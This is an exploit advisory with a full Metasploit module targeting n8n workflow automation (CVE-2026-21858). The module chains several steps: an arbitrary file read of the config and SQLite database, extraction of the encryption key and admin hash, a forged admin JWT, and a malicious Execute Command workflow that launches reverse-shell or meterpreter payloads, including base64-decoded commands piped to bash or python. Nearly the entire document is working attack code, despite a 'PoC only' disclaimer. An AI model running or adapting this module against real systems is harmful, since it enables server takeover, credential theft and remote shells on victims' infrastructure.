=============================================================================================================================================
| # Title     : n8n Workflow Automation - Remote Configuration & Admin Data Extraction                                                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
| # Vendor    : https://n8n.io/                                                                                                             |
=============================================================================================================================================

[+] Summary    : This Metasploit module demonstrates a proof-of-concept (PoC) for exploiting misconfigurations in n8n workflow automation instances. It shows how an attacker could potentially:

Read configuration files containing sensitive data (e.g., encryption keys).

Extract administrator credentials from the SQLite database.

Generate authentication tokens for privileged access.

Optionally create and execute workflows to run commands (PoC only; not for real attacks).

The module is intended for security research, penetration testing with explicit authorization, and vulnerability reporting. It includes safe error handling, retries, and cleanup procedures to minimize system impact.

[+] POC : 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'jwt'
require 'sqlite3'
require 'base64'
require 'digest'
require 'tempfile'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'n8n Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits multiple vulnerabilities in n8n workflow automation tool.
          It leverages a file read vulnerability to steal encryption keys and database,
          then uses stolen credentials to authenticate and execute arbitrary commands
          via the Execute Command node.
        },
        'Author' => [
          'indoushka'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-21858'],
          ['URL', 'https://n8n.io']
        ],
        'Privileged' => false,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-02-14',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to n8n', '/']),
        OptString.new('FORM_PATH', [true, 'Path to the vulnerable form endpoint', '/form/']),
        OptString.new('HOME_DIR', [true, 'n8n home directory', '/home/n8n']),
        OptString.new('BROWSER_ID', [false, 'Browser ID for session', 'msf_browser_' + Rex::Text.rand_text_alphanumeric(8)]),
        OptInt.new('WAIT_TIME', [true, 'Time to wait between requests', 5]),
        OptBool.new('FOLLOW_REDIRECT', [true, 'Follow HTTP redirects', true]),
        OptBool.new('CLEANUP', [true, 'Attempt to clean up created workflows', true]),
        OptInt.new('RETRY_COUNT', [true, 'Number of retries for failed requests', 3]),
        OptEnum.new('PAYLOAD_METHOD', [true, 'Method to execute payload', 'auto', ['auto', 'bash', 'sh', 'python3', 'python']])
      ]
    )
  end

  def ensure_payload_loaded
    unless payload
      print_error("No payload configured. Use 'set PAYLOAD <payload>'")
      return false
    end
    true
  end

  def parse_json_response(response, context = 'response')
    return [nil, "No response to parse"] unless response
    
    begin
      json_data = JSON.parse(response.body)
      return [json_data, nil]
    rescue JSON::ParserError => e
      error_msg = "Failed to parse JSON from #{context}: #{e.message}"
      if datastore['VERBOSE'] && response.body
        print_warning("Raw response (first 200 chars): #{response.body[0..200]}")
      end
      return [nil, error_msg]
    end
  end

  def send_request_with_retry(opts, expected_codes = [200])
    retries = 0
    expected_codes = [expected_codes] unless expected_codes.is_a?(Array)
    
    begin
      opts['follow_redirect'] = datastore['FOLLOW_REDIRECT'] unless opts.key?('follow_redirect')
      res = send_request_cgi(opts)

      unless res
        retries += 1
        if retries < datastore['RETRY_COUNT']
          vprint_warning("Request failed (no response), retrying (#{retries}/#{datastore['RETRY_COUNT']})...")
          sleep(1)
          retry
        else
          return [nil, "No response after #{retries} retries"]
        end
      end

      if expected_codes.include?(res.code)
        return [res, nil]
      else
        retries += 1
        if retries < datastore['RETRY_COUNT']
          vprint_warning("Request returned HTTP #{res.code} (expected #{expected_codes.join(', ')}), retrying...")
          sleep(1)
          retry
        else
          return [res, "Unexpected HTTP code: #{res.code} (expected #{expected_codes.join(', ')})"]
        end
      end
      
    rescue => e
      retries += 1
      if retries < datastore['RETRY_COUNT']
        vprint_warning("Request error: #{e.message}, retrying (#{retries}/#{datastore['RETRY_COUNT']})...")
        sleep(1)
        retry
      else
        return [nil, "Request failed after #{retries} retries: #{e.message}"]
      end
    end
  end

  def read_file_via_form(filepath)
    begin
      base_uri = datastore['TARGETURI']
      base_uri = '/' if base_uri.empty?
      
      form_uri = normalize_uri(base_uri, datastore['FORM_PATH'])
      
      payload = {
        'data' => {},
        'files' => {
          'file' => {
            'filepath' => filepath,
            'originalFilename' => 'pwn.txt'
          }
        }
      }.to_json

      vprint_status("Attempting to read: #{filepath}")
      
      res, error = send_request_with_retry({
        'method' => 'POST',
        'uri' => form_uri,
        'ctype' => 'application/json',
        'data' => payload
      }, 200)

      unless res
        print_error("Failed to read #{filepath}: #{error}")
        return nil
      end

      json_res, parse_error = parse_json_response(res, "file read POST response")
      
      if parse_error
        print_error("Failed to parse response for #{filepath}: #{parse_error}")
        return nil
      end

      waiting_url = json_res&.dig('formWaitingUrl')
      
      unless waiting_url
        print_error("No formWaitingUrl in response for #{filepath}")
        return nil
      end

      vprint_good("Successfully triggered file read for #{filepath}")
      sleep(datastore['WAIT_TIME'])
      
      parsed_uri = URI.parse(waiting_url)
      file_res, file_error = send_request_with_retry({
        'method' => 'GET',
        'uri' => parsed_uri.path,
        'query' => parsed_uri.query
      }, 200)
      
      if file_res
        vprint_good("Successfully retrieved #{filepath} (#{file_res.body.length} bytes)")
        return file_res.body
      else
        print_error("Failed to retrieve file content for #{filepath}: #{file_error}")
        return nil
      end
      
    rescue => e
      print_error("Unexpected error reading #{filepath}: #{e.message}")
      print_error("Backtrace: #{e.backtrace.join("\n")}") if datastore['VERBOSE']
      return nil
    end
  end

  def extract_encryption_key(config_data)
    begin
      if config_data =~ /"encryptionKey"\s*:\s*"([^"]+)"/
        enc_key = $1
        print_good("Found encryption key: #{enc_key}")

        every_other = (0...enc_key.length).step(2).map { |i| enc_key[i] }.join
        final_secret = Digest::SHA256.hexdigest(every_other)
        vprint_good("Generated final secret: #{final_secret}")
        
        return final_secret
      else
        print_error("Could not find encryptionKey in config file")
        return nil
      end
    rescue => e
      print_error("Error extracting encryption key: #{e.message}")
      return nil
    end
  end

  def extract_admin_data_sqlite(db_content)
    temp_file = nil
    db = nil
    
    begin

      temp_file = Tempfile.new(['n8n_db', '.sqlite'])
      temp_file.binmode
      temp_file.write(db_content)
      temp_file.close
      
      db = SQLite3::Database.new(temp_file.path)
      db.results_as_hash = true

      tables = db.execute("SELECT name FROM sqlite_master WHERE type='table'")
      table_names = tables.map { |t| t['name'] }
      
      unless table_names.include?('user')
        print_warning("No 'user' table found in database. Available tables: #{table_names.join(', ')}")
        return nil
      end

      columns = db.execute("PRAGMA table_info(user)")
      column_names = columns.map { |c| c['name'] }
      vprint_status("User table columns: #{column_names.join(', ')}")

      id_column = column_names.include?('id') ? 'id' : nil
      email_column = column_names.include?('email') ? 'email' : nil
      password_column = column_names.include?('password') ? 'password' : nil
      
      unless id_column && email_column && password_column
        print_error("Required columns not found in user table")
        return nil
      end

      role_columns = column_names.select { |c| c.include?('role') }
      
      admin_query = nil
      
      if role_columns.any?
        role_col = role_columns.first
        admin_query = "SELECT #{id_column}, #{email_column}, #{password_column} FROM user WHERE #{role_col} IN ('global:owner', 'global:admin', 'owner', 'admin') LIMIT 1"
      else

        admin_query = "SELECT #{id_column}, #{email_column}, #{password_column} FROM user ORDER BY createdAt ASC LIMIT 1"
      end
      
      users = db.execute(admin_query)
      
      if users.any?
        admin_id = users[0][id_column].to_s
        admin_email = users[0][email_column]
        admin_password = users[0][password_column]
        
        print_good("Found admin via SQLite: #{admin_email} (ID: #{admin_id})")

        combined = "#{admin_email}:#{admin_password}"
        sha256_digest = Digest::SHA256.digest(combined)
        admin_hash = Base64.strict_encode64(sha256_digest)[0..9]
        vprint_good("Generated admin hash: #{admin_hash}")
        
        return {
          'admin_id' => admin_id,
          'admin_email' => admin_email,
          'admin_password_hash' => admin_password,
          'admin_hash' => admin_hash
        }
      else
        print_warning("No admin users found in database")
        return nil
      end
      
    rescue SQLite3::Exception => e
      print_error("SQLite parsing failed: #{e.message}")
      return nil
    rescue => e
      print_error("Error parsing SQLite: #{e.message}")
      return nil
    ensure
      db&.close if db
      if temp_file
        temp_file.close
        temp_file.unlink
      end
    end
  end

  def create_session_token(secret, admin_id, admin_hash)
    begin
      browser_id = datastore['BROWSER_ID']
      hashed_browser = Base64.strict_encode64(Digest::SHA256.digest(browser_id))
      
      payload = {
        'id' => admin_id,
        'hash' => admin_hash,
        'browserId' => hashed_browser,
        'usedMfa' => false,
        'iat' => Time.now.to_i,
        'exp' => Time.now.to_i + 86400
      }
      
      token = JWT.encode(payload, secret, 'HS256')
      vprint_good("Created authentication token: #{token[0..30]}...")
      
      return token
    rescue => e
      print_error("Failed to create JWT token: #{e.message}")
      return nil
    end
  end

  def create_workflow(token, command)
    begin
      base_uri = datastore['TARGETURI']
      base_uri = '/' if base_uri.empty?
      
      workflow_name = "exploit_#{Rex::Text.rand_text_numeric(6)}"
      node_id = "node_#{Rex::Text.rand_text_alphanumeric(8)}"
      
      workflow_data = {
        'name' => workflow_name,
        'active' => false,
        'nodes' => [
          {
            'parameters' => {
              'command' => command
            },
            'name' => 'Execute Command',
            'type' => 'n8n-nodes-base.executeCommand',
            'typeVersion' => 1,
            'position' => [250, 250],
            'id' => node_id
          }
        ],
        'connections' => {}
      }.to_json
      
      res, error = send_request_with_retry({
        'method' => 'POST',
        'uri' => normalize_uri(base_uri, 'rest', 'workflows'),
        'ctype' => 'application/json',
        'headers' => {
          'browser-id' => datastore['BROWSER_ID']
        },
        'cookie' => "n8n-auth=#{token}",
        'data' => workflow_data
      }, 200)
      
      unless res
        print_error("Failed to create workflow: #{error}")
        return nil
      end
      
      json_res, parse_error = parse_json_response(res, "workflow creation")
      
      if parse_error
        print_error("Failed to parse workflow creation response: #{parse_error}")
        return nil
      end
      
      workflow_id = json_res&.dig('data', 'id')
      
      unless workflow_id
        print_error("No workflow ID in response")
        return nil
      end
      
      print_good("Created workflow: #{workflow_id}")
      return json_res['data']
      
    rescue => e
      print_error("Error creating workflow: #{e.message}")
      return nil
    end
  end

  def execute_workflow(token, workflow_info)
    begin
      return [nil, "No workflow info"] unless workflow_info&.dig('id')
      
      base_uri = datastore['TARGETURI']
      base_uri = '/' if base_uri.empty?
      
      workflow_id = workflow_info['id']
      
      run_res, run_error = send_request_with_retry({
        'method' => 'POST',
        'uri' => normalize_uri(base_uri, 'rest', 'workflows', workflow_id, 'run'),
        'ctype' => 'application/json',
        'headers' => {
          'browser-id' => datastore['BROWSER_ID']
        },
        'cookie' => "n8n-auth=#{token}",
        'data' => { 'workflowData' => workflow_info }.to_json
      }, 200)
      
      unless run_res
        return [nil, "Failed to execute workflow: #{run_error}"]
      end
      
      json_res, parse_error = parse_json_response(run_res, "execution")
      
      if parse_error
        return [nil, "Failed to parse execution response: #{parse_error}"]
      end
      
      execution_id = json_res&.dig('data', 'executionId')
      
      unless execution_id
        return [nil, "No execution ID in response"]
      end
      
      vprint_good("Executed workflow, execution ID: #{execution_id}")

      sleep(2)
      
      result_res, result_error = send_request_with_retry({
        'method' => 'GET',
        'uri' => normalize_uri(base_uri, 'rest', 'executions', execution_id),
        'ctype' => 'application/json',
        'headers' => {
          'browser-id' => datastore['BROWSER_ID']
        },
        'cookie' => "n8n-auth=#{token}"
      }, 200)
      
      unless result_res
        return [nil, "Failed to get execution result: #{result_error}"]
      end
      
      json_res, parse_error = parse_json_response(result_res, "execution result")
      
      if parse_error
        return [nil, "Failed to parse execution result: #{parse_error}"]
      end
      
      raw_data = json_res&.dig('data', 'data')
      
      unless raw_data
        return [nil, "No data in execution result"]
      end
      
      begin
        exec_data = JSON.parse(raw_data)
        output = extract_command_output(exec_data)
        return [output, nil]
      rescue JSON::ParserError
        return [raw_data, nil]
      end
      
    rescue => e
      return [nil, "Error executing workflow: #{e.message}"]
    end
  end

  def extract_command_output(exec_data)
    if exec_data.is_a?(Array)
      exec_data.reverse.each do |item|
        if item.is_a?(String) && !item.empty? && item != 'Execute Command' && !item.start_with?('node-')
          return item.strip
        end
      end
    end
    "No output captured"
  end

  def cleanup_workflows(token, workflow_ids)
    return unless datastore['CLEANUP'] && workflow_ids&.any?
    
    print_status("Cleaning up #{workflow_ids.length} workflows...")
    
    base_uri = datastore['TARGETURI']
    base_uri = '/' if base_uri.empty?
    
    workflow_ids.each do |wf_id|
      begin
        res, error = send_request_with_retry({
          'method' => 'DELETE',
          'uri' => normalize_uri(base_uri, 'rest', 'workflows', wf_id),
          'headers' => {
            'browser-id' => datastore['BROWSER_ID']
          },
          'cookie' => "n8n-auth=#{token}"
        }, [200, 204, 404]) # 404 يعني أنه محذوف بالفعل
        
        if res && (res.code == 200 || res.code == 204)
          print_status("Cleaned up workflow: #{wf_id}")
        elsif res && res.code == 404
          print_status("Workflow #{wf_id} already deleted")
        else
          print_warning("Failed to delete workflow #{wf_id}: #{error}")
        end
      rescue => e
        print_warning("Error during cleanup of workflow #{wf_id}: #{e.message}")
      end
    end
  end

  def check
    begin

      test_file = "#{datastore['HOME_DIR']}/.n8n/config"
      data = read_file_via_form(test_file)
      
      if data && data.include?('encryptionKey')
        print_good("Target appears vulnerable - found encryption key in config")
        return Exploit::CheckCode::Vulnerable
      end
      
      return Exploit::CheckCode::Safe
      
    rescue => e
      print_error("Error during check: #{e.message}")
      return Exploit::CheckCode::Unknown
    end
  end

  def select_payload_method
    method = datastore['PAYLOAD_METHOD']
    
    if method == 'auto'

      [
        ['bash', 'bash -c'],
        ['sh', 'sh -c'],
        ['python3', 'python3 -c'],
        ['python', 'python -c']
      ].each do |name, _|
        return name
      end
      return 'bash' 
    end
    
    method
  end

  def generate_compatible_payload
    unless ensure_payload_loaded
      return nil
    end
    
    case target['Arch']
    when ARCH_CMD
      command = payload.encoded

      if command.length > 1000
        print_warning("Command payload is very long (#{command.length} chars)")
      end
      vprint_status("Using command payload")
      return command
      
    else

      payload_b64 = Rex::Text.encode_base64(payload.encoded)
      method = select_payload_method
      
      commands = {
        'bash' => "echo #{payload_b64} | base64 -d | bash",
        'sh' => "echo #{payload_b64} | base64 -d | sh",
        'python3' => "echo #{payload_b64} | python3 -c 'import base64,sys; exec(base64.b64decode(sys.stdin.read()))'",
        'python' => "echo #{payload_b64} | python -c 'import base64,sys; exec(base64.b64decode(sys.stdin.read()))'"
      }
      
      selected_command = commands[method]
      
      if selected_command
        print_status("Using #{method} method for payload execution")
        return selected_command
      else

        print_warning("Unknown method #{method}, falling back to bash")
        return commands['bash']
      end
    end
  end

  def exploit
    print_status("Starting n8n exploitation...")

    unless ensure_payload_loaded
      return
    end
    
    created_workflows = []
    token = nil
    admin_data = nil
    secret = nil
    
    begin

      print_status("Step 1: Stealing configuration file...")
      config_path = "#{datastore['HOME_DIR']}/.n8n/config"
      config_data = read_file_via_form(config_path)
      
      unless config_data
        print_error("Failed to read config file. Target may not be vulnerable or path is incorrect.")
        return
      end

      print_status("Step 2: Extracting encryption key...")
      secret = extract_encryption_key(config_data)
      unless secret
        print_error("Failed to extract encryption key")
        return
      end

      print_status("Step 3: Stealing database file...")
      db_path = "#{datastore['HOME_DIR']}/.n8n/database.sqlite"
      db_data = read_file_via_form(db_path)
      
      unless db_data
        print_error("Failed to read database file")
        return
      end

      print_status("Step 4: Extracting admin credentials...")
      admin_data = extract_admin_data_sqlite(db_data)
      
      unless admin_data
        print_error("Failed to extract admin data using SQLite parser")
        print_error("Database may be corrupted or from different n8n version")
        return
      end
      
      print_good("Successfully extracted admin credentials for: #{admin_data['admin_email']}")

      print_status("Step 5: Creating authentication token...")
      token = create_session_token(secret, admin_data['admin_id'], admin_data['admin_hash'])
      
      unless token
        print_error("Failed to create authentication token")
        return
      end

      print_status("Step 6: Preparing payload...")
      command = generate_compatible_payload
      
      unless command
        print_error("Failed to generate payload")
        return
      end

      print_status("Step 7: Creating malicious workflow...")
      workflow_info = create_workflow(token, command)
      
      unless workflow_info
        print_error("Failed to create workflow")
        return
      end
      
      created_workflows << workflow_info['id']

      print_status("Step 8: Executing payload...")
      output, error = execute_workflow(token, workflow_info)
      
      if error
        print_warning("Execution completed with warning: #{error}")
      end
      
      if output && output != "No output captured"
        print_good("Command executed successfully!")
        print_line("\n#{output}\n")
      else
        print_warning("No output captured, but payload may have executed")
      end

      print_status("Step 9: Saving loot...")
      
      loot_path = store_loot(
        'n8n.config',
        'text/plain',
        rhost,
        config_data,
        'n8n_config.txt',
        'n8n Configuration File'
      )
      print_good("Saved config to: #{loot_path}")
      
      loot_path = store_loot(
        'n8n.database',
        'application/x-sqlite3',
        rhost,
        db_data,
        'n8n_database.sqlite',
        'n8n SQLite Database'
      )
      print_good("Saved database to: #{loot_path}")
      
      print_good("Exploitation completed!")
      
    rescue => e
      print_error("Unexpected error during exploitation: #{e.message}")
      if datastore['VERBOSE']
        print_error("Backtrace: #{e.backtrace.join("\n")}")
      end
    ensure

      if token && created_workflows.any?
        cleanup_workflows(token, created_workflows)
      elsif created_workflows.any?
        print_warning("Cannot clean up workflows without authentication token")
      end
    end
  end
end
	
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================